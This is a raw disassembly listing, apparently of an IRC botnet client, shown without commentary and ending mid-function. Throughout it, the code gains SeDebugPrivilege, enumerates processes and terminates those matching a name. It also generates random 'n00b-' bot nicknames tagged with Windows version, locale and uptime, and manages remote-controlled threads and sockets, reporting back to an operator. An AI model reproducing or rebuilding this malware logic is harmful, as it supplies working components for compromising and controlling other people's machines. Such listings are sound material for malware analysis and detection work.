var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_427334, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_40DCF2
		cmp	dword_427318, ebx
		jz	loc_40DCF2
		cmp	dword_427234, ebx
		jz	loc_40DCF2
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40DAF6
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_427334	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40DCE5
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_427318	; Process32First
		mov	esi, dword_41A068
		test	eax, eax
		jz	loc_40DCE0
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_427234	; Process32Next
		test	eax, eax
		jz	loc_40DCE0
		mov	ebx, offset aSD	; " %s (%d)"


loc_40DC21:				; CODE XREF: sub_40DB61+177j
		xor	edi, edi
		cmp	[ebp+arg_C], edi
		jnz	loc_40DCB1
		cmp	[ebp+arg_4], edi
		jz	loc_40DCC6
		push	[ebp+var_124]
		push	8
		call	dword_427334	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_40DC75
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_4271E0	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_40DC7B
		lea	eax, [ebp+var_230]
		jmp	short loc_40DC81
; ---------------------------------------------------------------------------


loc_40DC75:				; CODE XREF: sub_40DB61+F2j
		push	[ebp+var_124]


loc_40DC7B:				; CODE XREF: sub_40DB61+10Aj
		lea	eax, [ebp+var_108]


loc_40DC81:				; CODE XREF: sub_40DB61+112j
		push	eax
		lea	eax, [ebp+var_550]
		push	ebx
		push	eax
		call	sub_40EE10
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4084CC
		add	esp, 14h
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_40DCC6
; ---------------------------------------------------------------------------


loc_40DCB1:				; CODE XREF: sub_40DB61+C5j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DCF9


loc_40DCC6:				; CODE XREF: sub_40DB61+CEj
					; sub_40DB61+14Ej
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_427234	; Process32Next
		test	eax, eax
		jnz	loc_40DC21
		xor	ebx, ebx


loc_40DCE0:				; CODE XREF: sub_40DB61+9Dj
					; sub_40DB61+B5j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_40DCE5:				; CODE XREF: sub_40DB61+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40DAF6
		pop	ecx
		pop	ecx


loc_40DCF2:				; CODE XREF: sub_40DB61+3Aj
					; sub_40DB61+46j ...
		xor	eax, eax


loc_40DCF4:				; CODE XREF: sub_40DB61+1C6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40DCF9:				; CODE XREF: sub_40DB61+163j
		push	[ebp+var_124]
		push	edi
		push	1F0FFFh
		call	dword_41A0FC	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_41A114	; TerminateProcess
		test	eax, eax
		jnz	short loc_40DD24
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_40DCF2
; ---------------------------------------------------------------------------


loc_40DD24:				; CODE XREF: sub_40DB61+1BCj
		push	1
		pop	eax
		jmp	short loc_40DCF4
sub_40DB61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD29	proc near		; DATA XREF: sub_40997B+3B33o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_421E44
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40EE10
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_40DD88
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_4084CC
		add	esp, 14h


loc_40DD88:				; CODE XREF: sub_40DD29+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40DB61
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40DDB0
		push	offset dword_421E14
		jmp	short loc_40DDB5
; ---------------------------------------------------------------------------


loc_40DDB0:				; CODE XREF: sub_40DD29+7Ej
		push	offset dword_421DE8


loc_40DDB5:				; CODE XREF: sub_40DD29+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40EE10
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40DDE8
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_4084CC
		add	esp, 14h


loc_40DDE8:				; CODE XREF: sub_40DD29+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_407A4E
		push	[ebp+var_14]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41A084	; ExitThread
		pop	edi
		pop	esi
sub_40DD29	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DE07	proc near		; CODE XREF: sub_40997B+2AE4p
					; sub_40E311+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	dword_41A0FC	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_40DE39
		push	0
		push	esi
		call	dword_41A114	; TerminateProcess
		test	eax, eax
		jnz	short loc_40DE39
		push	esi
		xor	edi, edi
		call	dword_41A068	; CloseHandle


loc_40DE39:				; CODE XREF: sub_40DE07+1Aj
					; sub_40DE07+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE3E	proc near		; CODE XREF: sub_406DA5+41p
					; sub_406DA5+ACp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_410198
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_41A2C8
		call	sub_40EF84
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40DE3E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE6E	proc near		; CODE XREF: sub_40E17A+4Cp
					; DATA XREF: .packed:off_421E80o

var_C		= dword	ptr -0Ch
arg_4		= dword	ptr  8

		push	esi
		push	edi
		call	dword_41A090	; GetTickCount
		push	eax
		call	sub_41018E
		mov	edi, [esp+0Ch+arg_4]
		mov	[esp+0Ch+var_C], offset	aN00b ;	"n00b-"
		push	offset dword_41FB7C
		push	1Ch
		push	edi
		call	sub_40E7AB
		xor	esi, esi
		add	esp, 10h
		cmp	dword_41FBF4, esi
		jle	short loc_40DEC7


loc_40DEA1:				; CODE XREF: sub_40DE6E+57j
		call	sub_410198
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_421EAC
		push	1Ch
		push	edi
		call	sub_40E7AB
		add	esp, 14h
		inc	esi
		cmp	esi, dword_41FBF4
		jl	short loc_40DEA1


loc_40DEC7:				; CODE XREF: sub_40DE6E+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40DE6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DECC	proc near		; CODE XREF: sub_40997B+1BE0p
					; DATA XREF: .packed:00421E94o

arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		call	dword_41A090	; GetTickCount
		push	eax
		call	sub_41018E
		pop	ecx
		call	sub_410198
		push	3
		mov	ebx, [esp+10h+arg_4]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_41FBF4
		test	esi, esi
		jle	short loc_40DF0F


loc_40DEF9:				; CODE XREF: sub_40DECC+41j
		call	sub_410198
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40DEF9


loc_40DF0F:				; CODE XREF: sub_40DECC+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40DECC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		push	ebx
		push	esi
		lea	eax, [ebp-0C8h]
		push	edi
		push	eax
		mov	edi, offset byte_424EF4
		mov	dword ptr [ebp-0C8h], 94h
		call	dword_41A0D4	; GetVersionExA
		cmp	dword ptr [ebp-0C4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40DF93
		cmp	dword ptr [ebp-0C0h], 0
		jnz	short loc_40DF74
		cmp	dword ptr [ebp-0B8h], 1
		jnz	short loc_40DF64
		mov	edi, offset a95	; "95"


loc_40DF64:				; CODE XREF: .packed:0040DF5Dj
		cmp	dword ptr [ebp-0B8h], 2
		jnz	short loc_40DFCF
		mov	edi, offset aNt	; "NT"
		jmp	short loc_40DFCF
; ---------------------------------------------------------------------------


loc_40DF74:				; CODE XREF: .packed:0040DF54j
		cmp	[ebp-0C0h], ebx
		jnz	short loc_40DF83
		mov	edi, offset a98	; "98"
		jmp	short loc_40DFCF
; ---------------------------------------------------------------------------


loc_40DF83:				; CODE XREF: .packed:0040DF7Aj
		cmp	dword ptr [ebp-0C0h], 5Ah
		jnz	short loc_40DFCA
		mov	edi, offset aMe	; "ME"
		jmp	short loc_40DFCF
; ---------------------------------------------------------------------------


loc_40DF93:				; CODE XREF: .packed:0040DF4Bj
		cmp	dword ptr [ebp-0C4h], 5
		jnz	short loc_40DFCA
		cmp	dword ptr [ebp-0C0h], 0
		jnz	short loc_40DFAC
		mov	edi, offset a2k	; "2K"
		jmp	short loc_40DFCF
; ---------------------------------------------------------------------------


loc_40DFAC:				; CODE XREF: .packed:0040DFA3j
		cmp	dword ptr [ebp-0C0h], 1
		jnz	short loc_40DFBC
		mov	edi, offset aXp	; "XP"
		jmp	short loc_40DFCF
; ---------------------------------------------------------------------------


loc_40DFBC:				; CODE XREF: .packed:0040DFB3j
		cmp	dword ptr [ebp-0C0h], 2
		mov	edi, offset dword_421EF8
		jz	short loc_40DFCF


loc_40DFCA:				; CODE XREF: .packed:0040DF8Aj
					; .packed:0040DF9Aj
		mov	edi, offset dword_421EF4


loc_40DFCF:				; CODE XREF: .packed:0040DF6Bj
					; .packed:0040DF72j ...
		lea	eax, [ebp-0B4h]
		push	offset dword_424F04
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFED
		mov	esi, offset dword_421EF0
		jmp	short loc_40E068
; ---------------------------------------------------------------------------


loc_40DFED:				; CODE XREF: .packed:0040DFE4j
		lea	eax, [ebp-0B4h]
		push	offset dword_421EEC
		push	eax
		call	sub_4102A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E00B
		mov	esi, offset dword_421EE8
		jmp	short loc_40E068
; ---------------------------------------------------------------------------


loc_40E00B:				; CODE XREF: .packed:0040E002j
		lea	eax, [ebp-0B4h]
		push	offset a2	; "2"
		push	eax
		call	sub_4102A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E029
		mov	esi, offset dword_421EE4
		jmp	short loc_40E068
; ---------------------------------------------------------------------------


loc_40E029:				; CODE XREF: .packed:0040E020j
		lea	eax, [ebp-0B4h]
		push	offset dword_421EE0
		push	eax
		call	sub_4102A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E047
		mov	esi, offset dword_421EDC
		jmp	short loc_40E068
; ---------------------------------------------------------------------------


loc_40E047:				; CODE XREF: .packed:0040E03Ej
		lea	eax, [ebp-0B4h]
		push	offset dword_421ED8
		push	eax
		call	sub_4102A0
		pop	ecx
		mov	esi, offset dword_421ED4
		test	eax, eax
		pop	ecx
		jnz	short loc_40E068
		mov	esi, offset off_421ED0


loc_40E068:				; CODE XREF: .packed:0040DFEBj
					; .packed:0040E009j ...
		push	dword ptr [ebp+8]
		call	sub_404F3A
		push	eax
		call	sub_404E6A
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E083
		push	offset dword_41EF00
		jmp	short loc_40E088
; ---------------------------------------------------------------------------


loc_40E083:				; CODE XREF: .packed:0040E07Aj
		push	offset aD	; "D"


loc_40E088:				; CODE XREF: .packed:0040E081j
		lea	eax, [ebp-34h]
		push	10h
		push	eax
		call	sub_40E7AB
		add	esp, 0Ch
		lea	eax, [ebp-8]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset dword_41EF0C
		push	0
		call	sub_4053E4
		pop	ecx
		push	eax
		call	sub_40F871
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40E0E0
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_40E7AB
		add	esp, 10h
		jmp	short loc_40E104
; ---------------------------------------------------------------------------


loc_40E0E0:				; CODE XREF: .packed:0040E0C9j
		cmp	eax, 64h
		jge	short loc_40E0F2
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_419A4E
		jmp	short loc_40E101
; ---------------------------------------------------------------------------


loc_40E0F2:				; CODE XREF: .packed:0040E0E3j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_40E7AB


loc_40E101:				; CODE XREF: .packed:0040E0F0j
		add	esp, 0Ch


loc_40E104:				; CODE XREF: .packed:0040E0DEj
		call	dword_41A090	; GetTickCount
		push	eax
		call	sub_41018E
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		call	dword_41A118	; GetLocaleInfoA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+0Ch]
		push	eax
		push	offset aSSSSS	; "%s[%s|%s]%s[%s]"
		push	1Ch
		push	edi
		call	sub_40E7AB
		xor	esi, esi
		add	esp, 20h
		cmp	dword_41FBF4, esi
		jle	short loc_40E173


loc_40E14E:				; CODE XREF: .packed:0040E171j
		call	sub_410198
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_421EAC
		push	1Ch
		push	edi
		call	sub_40E7AB
		add	esp, 14h
		inc	esi
		cmp	esi, dword_41FBF4
		jl	short loc_40E14E


loc_40E173:				; CODE XREF: .packed:0040E14Cj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E17A	proc near		; CODE XREF: sub_4095BB+B0p
					; sub_409802+51p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_421E7C


loc_40E186:				; CODE XREF: sub_40E17A+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40E1A1
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_40FB80
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40E1AB
; ---------------------------------------------------------------------------


loc_40E1A1:				; CODE XREF: sub_40E17A+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_8]
		setz	al


loc_40E1AB:				; CODE XREF: sub_40E17A+25j
		test	eax, eax
		jnz	short loc_40E1BD
		add	esi, 14h
		inc	edi
		cmp	esi, 421EB8h
		jb	short loc_40E186
		jmp	short loc_40E1CF
; ---------------------------------------------------------------------------


loc_40E1BD:				; CODE XREF: sub_40E17A+33j
		push	[ebp+arg_4]
		lea	eax, [edi+edi*4]
		push	[ebp+arg_0]
		call	off_421E80[eax*4]
		pop	ecx
		pop	ecx


loc_40E1CF:				; CODE XREF: sub_40E17A+41j
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40E17A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1D6	proc near		; CODE XREF: sub_4034A7+10Dp
					; sub_4039C6+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_42D0D8


loc_40E1DE:				; CODE XREF: sub_40E1D6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40E1F2
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4BA0D8
		jl	short loc_40E1DE
		jmp	short loc_40E23D
; ---------------------------------------------------------------------------


loc_40E1F2:				; CODE XREF: sub_40E1D6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_42D0D8[esi]
		push	eax
		call	sub_410090
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_42D2D8[esi], eax
		and	dword_42D2DC[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_42D2E0[esi], 0
		mov	dword_42D2E4[esi], eax
		and	byte_42D2F0[esi], 0
		pop	esi


loc_40E23D:				; CODE XREF: sub_40E1D6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40E1D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E241	proc near		; DATA XREF: sub_40997B+3DA8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40E293
		push	[ebp+var_14]
		call	sub_40E4F2
		add	esp, 14h
		push	0
		call	dword_41A084	; ExitThread
		pop	edi
		pop	esi
sub_40E241	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E293	proc near		; CODE XREF: sub_40E241+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_421FF0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4084CC
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_42D0D8


loc_40E2BD:				; CODE XREF: sub_40E293+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40E2FE
		cmp	[ebp+arg_C], 0
		jnz	short loc_40E2D1
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40E2FE


loc_40E2D1:				; CODE XREF: sub_40E293+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_40EE10
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4084CC
		add	esp, 24h


loc_40E2FE:				; CODE XREF: sub_40E293+2Dj
					; sub_40E293+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4BA0D8
		jl	short loc_40E2BD
		pop	edi
		pop	esi
		leave
		retn
sub_40E293	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E311	proc near		; CODE XREF: sub_40997B+2BDEp
					; sub_40E39F+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40E399
		cmp	esi, 400h
		jge	short loc_40E399
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_42D2EC[esi]
		lea	edi, dword_42D2EC[esi]
		call	dword_41A11C	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40E349
		push	1
		pop	ebp


loc_40E349:				; CODE XREF: sub_40E311+33j
		mov	[edi], ebx
		lea	edi, dword_42D2E0[esi]
		mov	dword_42D2D8[esi], ebx
		mov	dword_42D2DC[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40E36A
		push	eax
		call	sub_40DE07
		pop	ecx


loc_40E36A:				; CODE XREF: sub_40E311+50j
		mov	[edi], ebx
		lea	edi, dword_42D2E4[esi]
		mov	byte ptr dword_42D0D8[esi], bl
		mov	byte_42D2F0[esi], bl
		push	dword ptr [edi]
		call	dword_4273AC	; closesocket
		lea	esi, dword_42D2E8[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4273AC	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40E399:				; CODE XREF: sub_40E311+Dj
					; sub_40E311+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40E311	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E39F	proc near		; CODE XREF: sub_404CE2:loc_404D06p
					; sub_4081F8+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_42D0D8


loc_40E3AB:				; CODE XREF: sub_40E39F+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40E3BC
		push	edi
		call	sub_40E311
		test	eax, eax
		pop	ecx
		jz	short loc_40E3BC
		inc	ebx


loc_40E3BC:				; CODE XREF: sub_40E39F+Fj
					; sub_40E39F+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4BA0D8
		jl	short loc_40E3AB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40E39F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3D1	proc near		; CODE XREF: sub_40E464+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_42D2DC


loc_40E3E5:				; CODE XREF: sub_40E3D1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40E407
		test	edi, edi
		jle	short loc_40E3F9
		cmp	[esi], edi
		jz	short loc_40E3F9
		cmp	ebx, edi
		jnz	short loc_40E407


loc_40E3F9:				; CODE XREF: sub_40E3D1+1Ej
					; sub_40E3D1+22j
		push	ebx
		call	sub_40E311
		test	eax, eax
		pop	ecx
		jz	short loc_40E407
		inc	[ebp+var_4]


loc_40E407:				; CODE XREF: sub_40E3D1+1Aj
					; sub_40E3D1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4BA2DC
		jl	short loc_40E3E5
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E41E	proc near		; CODE XREF: sub_403430+Bp
					; sub_4034A7+2Cp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_42D2D8


loc_40E425:				; CODE XREF: sub_40E41E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40E42E
		inc	eax


loc_40E42E:				; CODE XREF: sub_40E41E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4BA2D8
		jl	short loc_40E425
		retn
sub_40E41E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E43D	proc near		; CODE XREF: sub_40997B+33A6p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_42D2D8


loc_40E447:				; CODE XREF: sub_40E43D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40E460
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4BA2D8
		jl	short loc_40E447
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E460:				; CODE XREF: sub_40E43D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40E43D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E464	proc near		; CODE XREF: sub_40997B+ECDp
					; sub_40997B+FE2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40E47D
		push	[ebp+arg_1C]
		call	sub_40FB66
		pop	ecx


loc_40E47D:				; CODE XREF: sub_40E464+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40E3D1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40E4A9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_40EE10
		add	esp, 14h
		jmp	short loc_40E4C3
; ---------------------------------------------------------------------------


loc_40E4A9:				; CODE XREF: sub_40E464+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_40EE10
		add	esp, 10h


loc_40E4C3:				; CODE XREF: sub_40E464+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40E4E3
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4084CC
		add	esp, 14h


loc_40E4E3:				; CODE XREF: sub_40E464+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A4E
		pop	ecx
		leave
		retn
sub_40E464	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4F2	proc near		; CODE XREF: sub_4037AE+20Ap
					; sub_4039C6+238p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_42D2EC[eax], ecx
		mov	dword_42D2D8[eax], ecx
		mov	dword_42D2DC[eax], ecx
		mov	dword_42D2E0[eax], ecx
		mov	dword_42D2E4[eax], ecx
		mov	dword_42D2E8[eax], ecx
		mov	byte ptr dword_42D0D8[eax], cl
		mov	byte_42D2F0[eax], cl
		retn
sub_40E4F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E52F	proc near		; CODE XREF: sub_40997B+915p
					; sub_40E65D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40E539:				; CODE XREF: sub_40E52F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40E599
		cmp	eax, 1
		jnz	short loc_40E599
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40E599
		cmp	cl, 2Ah
		jz	short loc_40E580
